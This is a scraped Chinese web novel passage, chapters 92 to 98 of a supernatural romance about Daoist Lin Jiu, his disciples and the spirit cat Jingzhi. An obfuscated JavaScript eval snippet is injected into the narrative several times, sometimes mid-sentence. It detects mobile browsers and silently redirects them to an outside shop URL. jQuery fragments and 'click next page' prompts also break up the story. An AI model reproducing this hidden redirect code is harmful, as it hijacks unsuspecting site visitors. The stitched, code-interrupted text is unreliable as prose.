l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086547|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “明天让秋生带你回去吧,今天天色已晚,你一个人走夜路不安全。” “嗯。” 这时,秋生捧着一个小瓮进来了。 他把瓮放到贡桌上,朝回头的婷婷扬了扬下巴说: “呐,你爷爷的……那什么,我都给你捡回来了。” 静之微微回头,拿余光瞄着他,边说: “她明天要回去,你明天送送她呗,不过你现在要先去书房找下你师父,不然你的宝贝师弟,就要无了。” “叮铃!” 院外突闻一声铃铛响。 婷婷放下手中已经修剪得差不多的头发,有些疲惫地朝发出声音的地方瞥了一眼。 然而这不经意间的一瞥,却让她瞬间惊恐万分,忍不住发出一声尖叫: “啊!!!” 这突如其来的高分贝尖叫,吓得一旁的秋生和文才连忙伸出双手紧紧捂住自己的耳朵。 静之则快速一个转身,赶忙伸手捂住婷婷的嘴巴,在她耳旁轻声安抚道: “别怕,别怕,那是九叔的师弟,四目道长啦。那些僵尸都是四目道长的‘客户’,全都被他牢牢控制住了,不会伤害咱们的。” 尽管静之如此安慰,但婷婷眼中的恐惧仍未完全消散,她的身体还在微微颤抖着,用带着几分哆嗦的声音说道: “剪,剪好了……” 静之闻言,一把将垂落在脑后的头发轻轻撩到前头,粗略看了一下。 哎,这一通折腾,原本及腰的长发如今长度竟然只到背部中间一点点了。 她无奈地叹了口气,轻轻地拍了拍婷婷的肩膀,温柔地说道: 这章没有 结束,请点击下一页继续阅读! 第93章 不可能,绝对不可能! 林九来不及撇去心中纷乱的情绪,他一把推开四目,急匆匆的走出书房,朝前厅走去。 刚到前厅,没见到那个人影,他莫名松了口气,却又拧起眉头看着蹲坐在浴桶里的文才。 “师父……” 林九啧了一声,摇摇头说: “等你好了,你跟你师兄,都摘点柚子叶洗洗澡去去晦气,衰到一块儿去了,真是会给我找麻烦。” 虽这样说着,他赶紧转身到一旁的桌前处理药材,刚拿起药盅,就感觉脚底好似踩到什么东西,他挪开脚一看。 一堆黑白交织的头发散落了一地,他心一提,转头问文才: “……她怎么样了?” 文才还未回答,四目背着手跨进前厅,装作若无其事,其实暗暗打量林九的神色说: “怎么样?现在才来问啊,我叫她帮我做点吃的喽,在厨房呢。” 林九脸上立马出现一抹不赞同的神色,剜了四目一眼说: “她昨天陪我去抓鬼,一宿没睡,今天又来回奔波一趟任家镇,刚刚还被僵尸追了半天,你就不能叫秋生去做吗?” 四目被林九这般毫不留情地一顿痛斥后,竟然丝毫未见恼怒之色,反而慢悠悠地将双手撑在了那张摆满药材的木桌上,然后把自己的大脸凑近前去,端详起林九此刻的神情来。 只见他师兄的脸上,满是愠怒,但同时又似有着一丝不易察觉的关切。 然而,要说这其中是否包含着男女之间的喜爱之意呢? 对于同样单身数十载的四目来说,还真是难以分辨。 不过,当他留意到林九突然间移开了目光,并瞧见其耳朵微微泛红时,心中便已然有了几分猜测。 想来,他这位平日里一向沉稳持重的师兄,只怕……心已经乱了吧。 于是乎,四目更是目不转睛地紧盯着林九的侧脸,带着几分戏谑与好奇,小心翼翼地开口试探: “我说师兄呀,这才短短几日功夫,难不成你就已经喜欢上人家啦?” 谁曾想,四目的话音刚刚落下,原本正站在浴桶边的林九猛地一个转身,迅速地将自己的后脑勺对准了四目,接着伸手从水中捞出了文才的胳膊,开始为其上药。 瞧那动作,竟是比往常要急切许多。 四目见状,不由得又是一笑,继续追问: “怎么这会儿反倒不吭声了?莫非……被我给说中了心事?” 沉默片刻之后,只听得林九闷声闷气地回应道: “怎么可能会有这种事,我可比她足足大了一轮多!” 回答太过迅速,显得有些欲盖弥彰,四目暗暗勾唇一笑,仿佛明白了什么。 文才动了动被他师父捆的有些紧的胳膊,抬起头说: “师,师父,她说她153岁了,你今年42岁,准确来说,她大你……大你几轮来着?” 文才正掰着手指头算着,后脑勺突然中了一巴掌,扇得他当下就牛饮了一口自己的洗澡水。 林九怒目相视:“……大人说话,小孩别插嘴。” 文才缩了缩脖子,噗噗两声,吐出糯米水,又识时务地从水里捞起一条蛇边给自己搓澡,边朝面无表情的林九干笑两下。 四目环着胸,靠在摆满了药草的桌子旁边,带着几分调侃说: “这么说,是年龄的问题喽!” 林九这回嘴巴闭得死紧,面上也没有再露出任何表情,跟个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086548|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机器人似的,不紧不慢地给文才另一只胳膊上着药。 见他师兄又“缩回壳里”,四目也不在意,反正…他知道静之是个好妖,不会伤害他人就行喽。 他后仰着身子,半瘫在靠背椅上,斜眼看着林九那带上几根白发的后脑勺,不由开始感叹: “我说师兄啊,你桃花运是真挺旺,上山前有个师妹喜欢你,上山后也有个师妹喜欢你,现在你都这岁数了,还能引来一只灵猫,要不你就应——” 静之一脚踏入前厅,疑惑问道: “……什么师妹?” “咯吱!” 四目赶紧坐正,收回未说完的话,他偷瞄了一眼隔壁连身子都僵了,拳头却渐渐握紧的林九,突然觉得脖子有点凉,于是紧了紧衣领,又清了清嗓子说: “没,没什么,面好了?我,我出去外面亭子里吃,凉快,哈哈!” 他站起身来,刚想接过托盘,却发现托盘里放着三碗面并一碗糯米粥,他讶异抬头: “你是想把我一顿撑死啊?” 说着,他暗暗打量了一下静之的神色,见她不似生气的样子,应该是没听到他刚刚说的话吧。 四目暗暗松了口气。 静之笑了笑,一手将托盘抵在腰间,把糯米粥递给文才:“喏,给你。” 见文才接过,她才咬着粉嫩的唇瓣,轻轻戳了一下杵在文才浴桶前装木头的林九背部,柔声说道: “叔,我也煮了你跟秋生的份,一起吃点吧?” 林九只感觉她戳那一下,好像不是戳在他背上,而是戳在他心上,引得他本就有些快的心跳更加动荡。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第94章 一墙之隔,两种心情 林九虽不近女色,但心思何其敏锐。 一朝那层他给自己套的借口被戳破,那点心动的感觉,便赤裸裸地摆在他眼前。 接下来,该以什么身份与她相处,接受……还是不接受……是个问题。 林九也没心思写什么清心咒了,既然心确实乱了,那么再写,也只是自欺欺人而已。 他外衣也未脱,就这样斜斜地躺在床上,众多念头像是潮水,纷纷涌进他的脑海里。 他想,不管她这份喜欢来得有多突然,她是……喜欢他的吧? 他定定地看着白色的帐顶,看着看着,虚空之中仿佛浮现出她看他的眼神。 那双漂亮的椭圆形猫瞳里,每次看到他,眼里都亮晶晶的,是专注,是温柔,还经常含着他能够回应她的一丝期盼。 林九猛地闭上眼睛,那双眼骤然消失,他的心跳却愈发剧烈。 他抬手捂上心口,这陌生的感觉,让他有些不知所措。 有那么一瞬间,他都想跟随内心的呼喊,答应她算了。 然而,修道多年练出的忍耐跟理智,死死地把他从情感的漩涡里拖了出来。 毕竟横亘在他们之间的,不仅仅是种族,更重要的,是寿数。 静之……她不管是妖,还是她口中的灵猫。 他学道多年,深知她这类以灵气为食,天生地养的灵物,寿命长达几百年,更有甚者,修为高的,上千年的也是有可能的。 她虽然看起来有些菜鸡,但怎么也能活个几百岁。 而人类寿数,不过短短几十载,更别说他已快年过半百。 所以,他一个一脚踏入棺材的人,如何还能接收……她这份喜爱呢? 抓鬼,降尸,是他的家常便饭。 若有一天,他不幸死在了除魔卫道的路上,那留她一人,独自伤心难过,甚至还要抱着这份痛苦度过接下来的漫长岁月,岂不是更加自私? 林九长长叹了一声,忍住心中强烈的不舍,当即下了个决定。 既然做不到直截了当的拒绝,也赶不走她,那便收一收自己不该滋生的情感,把她当成秋生一样的徒弟来对待吧。 或许,有一天她就想通了,自己走了呢…… 想到这,他眉心一跳,弹指灭了桌上的烛火,让黑暗笼罩整个房间。 他则瞬间背过身子去,皎洁的月光透过窗户洒在他的侧脸,一双深邃的眼睛隐在黑暗中,看不清眸里的情感,脸侧的腮帮子却因咬着牙根,正缓缓动着,下颚绷得紧紧的…… …… 隔着墙。 静之没料到,不仅二娣那个病秧子想得多,林老头也不遑多让,甚至想得更深远。 她听到隔壁传来轻轻“噗”的一声,便知道他熄烛了。 此时,她也无心修炼。 灵猫的耳朵,最灵了。 困扰她的,有两件事。 一个是四目口中的两个“师妹”。 也是,文才说他42了,他的好,怎么可能只有她一个人发现呢? 岁月漫漫,他之前既然没接受那二人,且现在依旧孤身一人,那么,她也没什么好说的。 让她更为在意的是,他叫四目开眼看他的事。 他这是,怀疑她对他施展魅术了。 是不是说明,他……心动了? 静之嘴角越扯越大。 她夜视能力很好,一直都没有夜间点灯的习惯,这会儿,黑暗中的那双猫瞳亮得跟两盏灯泡一样,慢慢地,变成弯弯的弧形。 寂静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086549|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的空间中,突然传来一声她压抑不住喜悦,低低的笑声。 …… 一墙之隔,两种心情。 一人好梦,一人未眠。 …… 静之睡了个好觉,虽然半夜几次起来给文才换热水,早上却也没有赖床。 天刚蒙蒙亮,她一掀被子,弹射起步,连嘴角都带着笑意。 昨晚的好心情,延续到了今早。 以往一开门,便能看到院子里打太极的林九,今天院子里空空荡荡的,只有厨房外面一角,堆着昨晚秋生收拾好的木材。 她心想着,可能是昨天打怪累到了,所以起晚了吧。 于是也没有多想,理了理衣服,便朝厨房走去。 路过四目道长的客房时,却发现他的房门大敞着。 奇怪,睡觉不关门的吗? 她伸头进去一看,被子整整齐齐地,人去楼空。 圆桌上却用茶壶压着两张信纸。 她走近拿起一看。 只见第一张上面写着两行字: 易得无价宝,难得有情人。 写给谁的,阿九还是她? 他可真是目光如炬啊,才来两次,这就看出来了? 她放下那张纸,又将之压在茶壶下,这才看起了第二张纸上写的东西。 一垂眸,她嘴角便泛起了点点笑意。 只见上面写着: “你做的饭很好吃,空了叫我师兄带你还有两个徒弟,一起到我那儿玩呀。” 两张纸虽然都未署名给谁,她一下就看出来了。 既然这张是写给她的,那么那句诗,就是写给阿九的 吧。 这章没有结束,请点击下一页继续阅读! 第95章 小婴灵们 一推开门,满墙白色的小小塑像映入静之的眼帘。 婴灵,按照字面上的意思,就是婴儿的灵魂。 静之有些目瞪口呆,这一墙的婴灵,得有个八九十个了吧。 这个年代堕胎的人这么多的吗? 她下意识想回头问问林九,头刚转到一半,身后的人顿时锯子拉得滋啦滋啦响,她鼓了鼓脸颊,索性转回头,进屋,把门闭紧。 哼!奇奇怪怪的。 她也是有脾气的,她才不理他呢。 就晾他……半天好了。 静之转身走近一墙的婴灵雕塑,她发现每一座小雕塑前都燃着一盏小小的长明灯。 这间屋子没有窗户,但是一整面的烛火足以照亮她的视线。 视线上移,她发现从上往下数,第三排中间有三座小雕塑,与其他白色的雕塑都不一样。 那三座盘腿坐着的婴灵雕塑全身呈灰色,且周身密密麻麻捆着朱砂细绳,眼睛还用一条小小的红布围住了。 按照林九谨慎的性子,这三个婴灵,一定有问题。 静之像是意识到了什么一般,猛地将那莫名伸出去的手收了回来。 紧接着,她脚步匆匆地往后退去,一直退到门边那张四方桌前才停下。 随后,她伸手拿起靠墙摆放着的那一厚沓黄纸,熟练地拆开包装,并开始有条不紊地折叠起来。 这种活计对静之来说并不陌生,以往在林风师弟那里时,她可没少做过。 此刻,她双手翻飞如蝶舞,不一会儿就叠好了一个。 静之心念一动,暗自思忖道: “既然这里头没人,那我不如将尾巴放出来帮忙吧,早些叠完,也好早点回去修炼。” 想到此处,只见她身后的裙摆微微晃动,几条毛茸茸的尾巴缓缓伸展开来。 这些尾巴灵动异常,两两一组,各自卷起一张黄纸,与她一起快速叠了起来。 一时间,房间里只有纸张翻动和折叠的声音。 就在这时,原本一直稳稳燃烧着的长明灯却突然出现了异样。 那灯火先是猛然一亮,随即又倏地一暗,静之只觉得眼前的光线急剧变化。 还未等她来得及转过头去查看究竟发生了何事,便感觉到自己的尾巴上传来了一阵轻微的触感。 仿佛有几只小小的手掌正轻轻地抚摸着它们…… “姐姐,你是狐狸精吗?” 她回头一看,七八个只穿肚兜的小孩蹲在地上,一脸好奇地看着飞舞在空中毛绒绒的猫尾。 胆子大的已经上手的,胆子小的,眼睛瞪得大大的,眼里的期待都快溢出来了。 本来她不喜别人摸她尾巴的,但是外头那人今日让她不开心,那么就让这群婴灵玩一下,又有何不可呢? 是的,婴灵。 静之眼尖的注意到,虽然他们跟正常小孩一样,但在烛火的照耀下,他们没有一个有影子的。 她微微一笑,将尾巴上成型的纸元宝放到桌上,这才朝他们伸了过去,并拗成各种造型,其中一根伸到一个怯怯的小女孩手边。 “要不要摸摸,很暖和的。” 小女孩扎着俩小辫,一双葡萄大的眼睛亮晶晶的,她吞了口口水,怯怯地说: “可以吗?” 静之点点头,小女孩笑弯了眼,像是得到心爱的玩具般,小心翼翼地摸了一把绒毛。 力道过轻,惹得静之有些痒痒,那条猫尾不禁抖动了一下,惹得小女孩咯咯直笑。 在角落里,有个趴在地上的小婴儿,看着弯来弯去的另一条猫尾,口水流了一地,他啊呀啊呀的,肉肉的小手一把捏住尾巴尖就往嘴里塞。 无齿的牙床啃到尾巴尖的那一刻,静之迅速收回几条尾巴,忍不住嘤咛了一声。 那声音有些婉转,微微沙哑的声线又透露出一股暧昧。 可惜屋里头都是小屁孩,没一个懂得欣赏的,他们追着那收回的尾巴跑,一下就都围到了静之的身边。 一个小男孩一点都不怕生的样子,他昂起头大咧咧地问: “姐姐,你是狐狸精吗?” 看来,刚刚那个问题,就是他问的。 静之捏了捏眉心,摇了摇头说: “我是灵猫。” 小女孩揪着手指,怯生生地说:“我喜欢猫猫,好想养一只呢。” 静之“噗嗤”笑出了声,她轻轻摸了摸小女孩的辫子,柔声道:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086550|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你可养不起我哟。” 小女孩呆呆地望着她,突然,她紧紧抓住静之的手说: “你能当我妈妈不?” 静之怔了一下,琢磨了一会儿,有点沮丧地说: “怕是不行呢,我还是单身呢。” 这群小鬼头立马叽叽喳喳议论开了。 “那就找个相公呗。” “我觉得秋生叔叔挺好的呀。” “不行不行,他和文才叔叔老是骗我们干活,我才不要骗子当爸爸呢。” “也是哦。” “那九叔咋样?” “他太老啦,怕是生不出孩子了吧?” 说到这个,静之突然有些脸红。 莫名地, 她想起在监狱里看到的那一幕。 ……看起来很健康的样子,应该…不至于生不出孩子吧。 一群小鬼头像是提前约好了似的,一下子全都安静下来,齐刷刷地抬头望向她,就连刚刚那个偷偷啃她尾巴的小豆丁,也含着大拇指,眨巴着大眼睛看向她。 静之无奈地笑了笑,弯下腰把小豆丁抱进怀里,轻轻地把他那湿漉漉的大拇指从嘴里拿出来,然后有些失落地说: “他可能……不喜欢我,你们去找别人当妈妈吧。” “为什么呀?”?n 静之有点懵。 为什么?她也想弄明白呢。 她讨厌让自己一直陷入这种低落的情绪里,于是摇了摇脑袋,问大家: “饿不饿呀?我给你们点香。” 小男孩咽了咽口水,说:“我想吃鸡蛋。” 话音刚落,静之眼前的七八双眼睛立马亮了起来,看得她都有点哭笑不得了。 “我没钱哦。” 林九的鸡圈里多数是做法用的公鸡,而且昨晚最后一颗鸡蛋,她煮面的时候用掉了。 那些眼睛瞬间又黯淡了下去。 静之赶忙打圆场:“我去山里给你们找点野味儿吃好不好?烤鸡怎么样?” 这下子,那几双眼睛比刚才更亮了,简直都快冒出绿光了。 得,就凭他们刚才说的那些话,秋生和文才到底是把人家饿了多久? 第96章 致幻蘑菇&她的“梦” 静之一推开门,便瞧见院子外侧亭子里的文才,而院子中间的空地,还摆放着尚未完工的椅子,林九却不见踪影。 “你师父呢?” 文才言辞闪烁,许久之后才道: “可,可能去了厕所。” “哦,你要不要跟我去后山?你师父不是让你多动动么,不需要你做什么,我去抓只鸡便回。” 文才挠了挠头,又默默瞧了瞧前厅,忽地颔首应了一声。 静之微微挑眉,心下暗忖今日这师徒二人都怪得很,遂去厨房取了篓子与布口袋。 待二人出了院子,隐在前厅门后的林九方才站了出来,遥遥凝视着放置婴灵的屋子。 良久,才轻声呢喃道: “已经多到放不下了,是时候给蔗姑送一些过去了。” …… 后山。 静之没闲情慢慢逛,她放出威压边走边找着,文才只觉得她身边三尺内仿佛有重重压力直把他往外推,他后退了几步,离她不远不近,缀在后面慢慢走着。 “静之啊,你抓蛇就是这么抓的吧?” 静之拿着根棍子到处拨拉,都没空回头,边说着: “是啊,不然你以为我为什么每次都能这么快。” “撕拉——” 她皱眉回头看,糟糕,裙摆被荆棘撕裂了一块。 这裙子,还是二娣帮她做的呢。 静之有些心疼地蹲下捏着那块衣服碎片,心想,她只有这件衣服,虽然能保持干净,但坏了就是坏了,这可怎么办才好? 她突然回头问:“文才,你月钱多少?” 文才有些尴尬,他的钱,都被他师父保管着,他哪里知道有多少。 他想了想,才慢慢说道: “师父每次接一趟活,都会把钱分成四份,三人各一份,然后一份公家的,用作日常开销。 这个月,我们就接了任老爷的单子,结果……婷婷应该不会给钱的吧。” 想到这,他不知道是可惜婷婷回去了,还是可惜他逝去的月钱,头垂得低低地,再无二话。 静之叹了口气,把手中的碎布片塞进怀里,想说,回去用白色的线缝一缝应该看不太出来吧。 她想,经济自由,实在是太重要了。 要不要出去接点活干呢? 毕竟,追老头,也是要钱的。 看来,还是得去镇上一趟…… 正当她思索着有什么活计适合她时,两人不知何时,已经走到了森林深处。 就在她以为今天要空手而归的时候,她的棍子突然杵到一阵柔软。 静之低头一看,瞬间和一只鸡面面相觑。 哦,是她单方面觑它。 鸡吓得早就把头埋进腹部了,整个身体正不住发抖着。 静之一把逮住,谅它也不敢跑,往身后的背篓一放,刚盖上盖子,眼神就被草丛里的七八个鸡蛋吸引。 哇,额外收获啊! 她叫来文才,拿过他手中空荡荡的背篓,将鸡蛋一一捡起,小心翼翼地放了进去。 刚抬头,眼神突然就被前方大树下的一抹红吸引。 红色的果实,掌状复叶,轮生茎顶。 是……人参! 静之眼前一亮,把装着鸡蛋的篓子还给文才,才快步走了过去。 今天没带药锄,她只得用手中的棍子小心翼翼地刨着,生怕刨断了人参的根系。 边刨,她边想: 对啊,她上辈子可跟着二娣认了不少药材,她可以采药去卖呀。 炮制药材,她上辈子也学了不少,这不是专业对口了吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086551|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反正她又不怕森林里的蛇虫鼠蚁跟那些野兽。 小钱钱,这不就到手了嘛。 边想着,她乐得两眼弯弯,土里的人参也慢慢露出了全貌。 不知是否因为这是森林深处,极少人来,这人参根茎旺盛,主干粗大,她目测…得有上百年才能长成这样吧。 话说,这植株都长了红色果实了,会不会周围也有? 她索性将怀里那块布料又掏了出来,将手中的人参轻轻裹住放进她随身的布包里,这才俯下身细细寻找。 连续找了几棵树都没有,她叹了口气,心想着,做人不能太贪心。 刚这样想的时候,天空一只小鸟飞过,一颗红色的果子掉了下来,砸中了她的手背。 她低头一看掉落在土地上的果子。 呦,很眼熟,这不是人参的果子吗? 那是……棒子鸟?! 追上去! 以免惊了那鸟儿,她收起威压,脚尖一点,紧紧跟着那只小鸟,飞了一小会儿,那鸟儿已归巢。 静之落在树干上,环顾四周。 突然,她朝着一处背光的地方飞去,一句话也来不及跟追上来的文才说,便蹲下挖了起来。 “静之姐……你运气可真好。” 得,他也叫上姐了。 静之没空管他,她扒拉了许久,这才拿着手上的两株七十年左右的人参,轻轻啧了一声说: “这两株差点,但是应该也能卖不少钱吧?” “……走吧,这里好暗。” 文 才环顾四周,树木皆高大繁茂,阳光难入,明明是七月,周围空气却感觉湿湿凉凉的,他不禁抖了一下,又往静之的身后凑近几步。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第97章 我不要他做爸爸 等林九端着晾好的一大碗温水回来,静之已经睡了过去,只是那细细的眉毛微微皱着,挺翘的鼻尖出了一层细汗,微张的嘴里也一张一合的,正小声喃喃着什么。 见她一副喝了假酒的样子,林九有些头痛。 唤了两声,她没醒,倒是呵呵笑了两声,叫了几遍阿九。 这称呼,自一女子口中叫出,委实过于亲密,叫得林九有些脸热。 心想早些喂完了事,他咬咬牙,低低说了声“冒犯了”,这才一手端着水,一手穿过她的脖颈,搂起她的肩膀将她上半身撑了起来。 手却是不敢到处乱放,只是虚虚张着,就单单用肩膀一侧抵着她的后脑勺。 甫一靠近,他又嗅到她身上那股清甜的气息,林九心神为之一震,赶忙从脑海深处,把清心咒抽出来反复默诵。 他僵了,静之倒是迷迷糊糊地睁开了眼睛,她将脸凑近他胸口,像是小狗认主人似的,耸动了两下鼻尖。 仿佛确定了来人,她木着脸点了点头,嗯嗯两声: “是阿九,今天的梦好久哦。” 林九被她糯糯的嗓音说得心跳加速,像是怕被她听到心跳声似的,林九把她的头往他的上臂侧了侧,然后将偌大一个碗抵住她的唇瓣,像哄孩子一样,柔声说着: “把水喝了,就不晕了。” 静之乖乖点头,又不放心似的,抬手摸了摸他的小胡须,确认真的是阿九后,她轻笑了一声说: “好,阿九喂的,我要都喝完。” 原本他以为她神志不清,还会闹上几番,没想到她竟然这么乖,林九松了口气的同时,将碗身慢慢倾斜。 耳边顿时传来她吞咽清水的声音。 咕咚……咕咚…… 很有规律。 他的心跳仿佛跟着她吞咽的声音跳动着,视线也不由自主地下移。 一碗水快要喂完,碗边挡住了她大半个脸,林九却依旧能够透过窗外的月光看到她湿润的唇瓣。 温热的,软糯的,带着她独有的香甜。 两两相触,仿佛带着电流…… 就在这时,一声突兀且急促的咳嗽声传来,林九理智骤然回归,他眼神迅速聚焦在静之脸上。 看清状况的一瞬间,他手忙脚乱地用袖子擦拭着她鼻尖上的水渍。 见她咳得如此厉害,仿佛要把肺都咳出来,林九焦急地拍着她的背,连声道歉: “对不起,我不是故意的。” 静之咳了半天,总算把呛到的水都咳出来了,一张脸也咳得通红,她有些委屈地对林九说: “阿九……我鼻子不渴。” 似是生气了,她撅起下唇,捏着被角瞪了他一眼。 就在这个时候,迷迷瞪瞪的静之完全没有意识到自己的状况。 由于咳嗽得太过剧烈,她的眼尾此刻微微泛红,就仿佛是被狠狠欺负过一般。 当她狠狠地瞪向林九时,不但没有半分凶狠,反倒散发出一种难以言喻的诱惑。 “静之……” 林九仿佛又中了魅术,不由自主地轻唤了一声她的名字,连自己都不清楚为何会这样做。 然而,在这声呢喃出口之后,他猛地回过神来,如梦初醒般赶忙将她扶躺下来,然后端着那小半碗的水,略带狼狈地逃出了她的房间。 林九原本打算直接回自己的房间,脑海里却突然浮现出他那两个不争气的徒弟。 这两人,今晚简直就像饿死鬼投胎一样! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086552|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她为大家准备的食物,绝大部分都落入了他们俩的腹中。 想到这里,他无奈地摇了摇头,脚下的步伐一转,又去倒了满满两大碗水,小心翼翼地端着走进了他俩的房间。 谁知刚刚踏入房门,他原本因为害羞而急速跳动的心,此时此刻跳得愈发猛烈起来。 被气的! 只见他的大徒弟秋生,此时跟猴儿似的,正抱着柱子不住抚摸着,嘴里还连连唤着小玉,甚至还抬起一脚勾住那柱子,他嘴边的木头柱子已经被他亲出了一片口水印。 而二徒弟文才,则是恨不得掐死他的毛毛虫抱枕似的,搂得极紧,嘴里同样唤着女人的名字。 不过叫的,却是婷婷。 林九额头青筋直跳,放下碗,一人给了他们后脑勺一巴掌后,捏着后脖颈,强硬地把水灌了进去…… …… 三人各被灌一大碗水的结果就是—— 第二天一大早: “让开让开,我先上!” “我先上!” 静之捂着鼓鼓的小腹一脸尴尬:“要尿出去啦!” “咻!”一根鸡毛掸子啪的一声,正中文才跟秋生的背。 二人提着裤腰带不住跺脚,脸上满是急切的回头,就看到了黑着脸的林九。 “让她先上,抢什么!” 话音未落,静之一个箭步上前,砰的一声,把厕所门闭得死紧。 等她一身轻松的出来后,文才秋生却是憋不住了,他俩干脆一起冲进了厕所,甚至连门都来不及关,就开始放水。 “诶, 阿九,拉我干什么?” 本小章还未完,请点击下一页继续阅读后面精 彩内容! 第98章 看戏你去不去? 镇上有好几间医馆,就数杏林堂收药材的价格最为公道,林九快走几步带路,径直带着静之朝那个医馆走去。 “你是……大夫?” 静之有些惊奇地看着站在药柜前,年轻的儒雅男人。 只见他一身浅米色长衫,身量高,却又不显瘦弱,一头利落的短发,额前搭着几根刘海,眼镜后的双眼总是带着浅浅的笑意。 不像是个大夫,反倒像个书生。 “怎么?我不像大夫吗?” 静之又上下打量了他两眼,摇了摇头说:“像个教书匠。” 还没待她再看几眼,林九走两步,在她面前站定问: “仲尧,你父亲呢?” 仲尧笑了笑,朝林九拱了拱手说: “原来是九叔,好久不见。我父亲说他看了一辈子的病,是时候该“退位让贤”,所以,我只能从省城回来了。” 说到这,他又指了指在林九身后正一跳一跳的静之说: “那位姑娘有些眼生啊,请问她是……?” 就在这时,一只白嫩的手从林九身后举了起来,她开门见山说道: “我是九叔的助手,今天是来卖药材的,我没时间炮制,你这儿收新鲜的药材不?” “收的,你让我看看是什么药材?” 林九见她说话了,却是不好再围着她,于是侧过身子,给她让了条路,脸色却是渐渐暗了下来,双眼不着痕迹地打量着二人,一言不发。 静之见他跟门柱似的杵着,于是托起他背后的药篓子解下。 “放下来,喏,水壶给你拿着。” 她将一篓子药草放在柜面上,对仲尧扬了扬下巴说: “呐,你看看,都是昨天新鲜采摘的。” 边说着,她又从她自个儿的布口袋里,小心翼翼地掏出一根被布包裹着的70年份左右的人参,放到柜面上说: “这个,也是我昨天采的,纯正野山参,根须完好,你看看能卖个什么价格?” 仲尧本来正翻看着篓子里的草药,一听说有野山参,他赶紧拍去手中泥土,又推了推眼镜,拿起那根人参细看。 “哦?有这种好东西,九叔你现在才拿过来?” 边说着,他不住啧啧称奇,“人参现在不好采啊,特别是野生的。” 林九沉稳地说道: “不是我采的,是她采的。” 见他脸色莫名,静之有些摸不着头脑,她转过头,满怀期待地问: “那值多少钱?” 仲尧沉思片刻,方才缓缓对静之说道: “这篓子药材,给你5个大洋,至于人参嘛,我此处所给价钱为两年一个大洋,此株观其品相约七十年,所以折下来就是35块大洋。 不过,我倒是听说过张员外在找参,他那儿子病弱,就靠参吊着呢,他可就这一个宝贝儿子,你去卖给他的话,倒是能比在我这儿卖多得些银钱。” 静之闻言,一时拿不定主意,遂回头以征询的目光,望向林九。 她这一眼,看得林九不由挺起了腰杆,黯淡的面色也回暖了不少。 “是有听说过,我知道地方,我带你过去。” 说罢,他轻轻敲了两下柜面玻璃,对仲尧说: “结账吧,我们还要去其他地方。” 仲尧将药篓子递给店里的伙计,又拿了帕子慢条斯理地擦干净手上的泥土,这才朝林九寒暄一句: “九叔,难得来一次,不坐下喝杯茶水再走?” 说话间,他的视线从林九脸上滑过,落到静之脸上,停留了几秒。 林九放在身后的手渐渐捏起。 “……不用了,下次吧。” 仲尧嘴角勾起一抹不易察觉的微笑,他打开抽屉,数了五个大洋递给静之。 静之没接,她看了垂着眸子,不知道在想什么的林九一眼,跟着叩了叩柜面说: “放这里,我自己拿。” 仲尧嘴角的弧度变大了一点,他暗暗打量了一下林九的神色,轻轻把五个银元放下。 